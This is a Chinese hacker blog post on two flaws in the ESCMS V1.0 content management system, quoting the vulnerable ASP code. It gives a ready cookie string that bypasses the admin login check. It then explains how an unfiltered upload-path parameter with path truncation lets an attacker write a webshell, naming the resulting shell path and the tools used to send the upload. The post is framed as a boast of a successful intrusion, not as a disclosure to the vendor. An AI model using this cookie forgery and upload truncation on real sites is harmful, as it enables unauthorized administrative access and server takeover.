|
作者:st0p 转载请注明http://www.st0p.org
版本:ESCMS V1.0 SP1 Build 1125 后台登陆验证是通过admin/check.asp实现的,看代码 <% if Request.cookies(CookiesKey)("ES_admin")="" then '注意这里哦,他是通过COOKIE验证ES_admin是否为空,我们可以伪造一个值,叫他不为空 'CookiesKey在inc/ESCMS_Config.asp文件中,默认为ESCMS$_SP2 Call Err_Show() Response.End() End if ...... %> 首先我们打开http://target.com/admin/es_index.html
然后在COOKIE结尾加上 ; ESCMS$_SP2=ES_admin=st0p;
修改,然后刷新
进后台了嘎..
然后呢…提权,嘿嘿,admin/up2.asp,上传目录参数filepath过滤不严,导致可截断目录,生成SHELL,看代码
...... formPath=upload.form("filepath") '此处没有过滤 if formPath="" then formPath="../Upfile" end if Dim formPath1 formPath1="Upfile/" '在目录后加(/) if right(formPath,1)<>"/" then formPath=formPath&"/" end if for each formName in upload.file '列出所有上传了的文件 set file=upload.file(formName) '生成一个文件对象 if file.filesize<100 then response.write "请先选择你要上传的图片! [ <a href=# onclick=history.go(-1)>请重新上传</a> ]" response.end end if
fileExt=lcase(file.FileExt) if CheckFileExt(fileEXT)=false then response.write "文件格式不正确! [ <a href=# onclick=history.go(-1)>请重新上传</a> ]" response.end end if
'randomize ranNum=int(90000*rnd)+10000 Dim tempname,temppath tempname=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt temppath=formPath1&tempname filename=formPath&tempname if file.FileSize>0 then '如果 FileSize > 0 说明有文件数据 result=file.SaveToFile(Server.mappath(filename)) '保存文件,这里地址就会变成我们截断的SHELL名称 ...... 利用方法,可以抓包,然后改一下,NC上传,还可以直接用DOMAIN等工具提交.
嘿嘿,成功了,shell地址为http://target.com/admin/diy.asp
存在这个上传问题的还有admin/downup.asp,不过好像作者的疏忽,没有引用inc/ESCMS_Config.asp,导致打开此页面失败..
在版本ESCMS V1.0 正式版中,同样存在上传问题admin/up2.asp和admin/downup.asp都可利用,只不过cookies欺骗不能用了,因为此版本用session来验证登陆…
日啊,又一个YD的洞出来了,不过好似网上不多,而且多是ESCMS V1.0 正式版…..最新版本是我加了作者的群中下的,官方站上的下载地址失效了…
|
|
|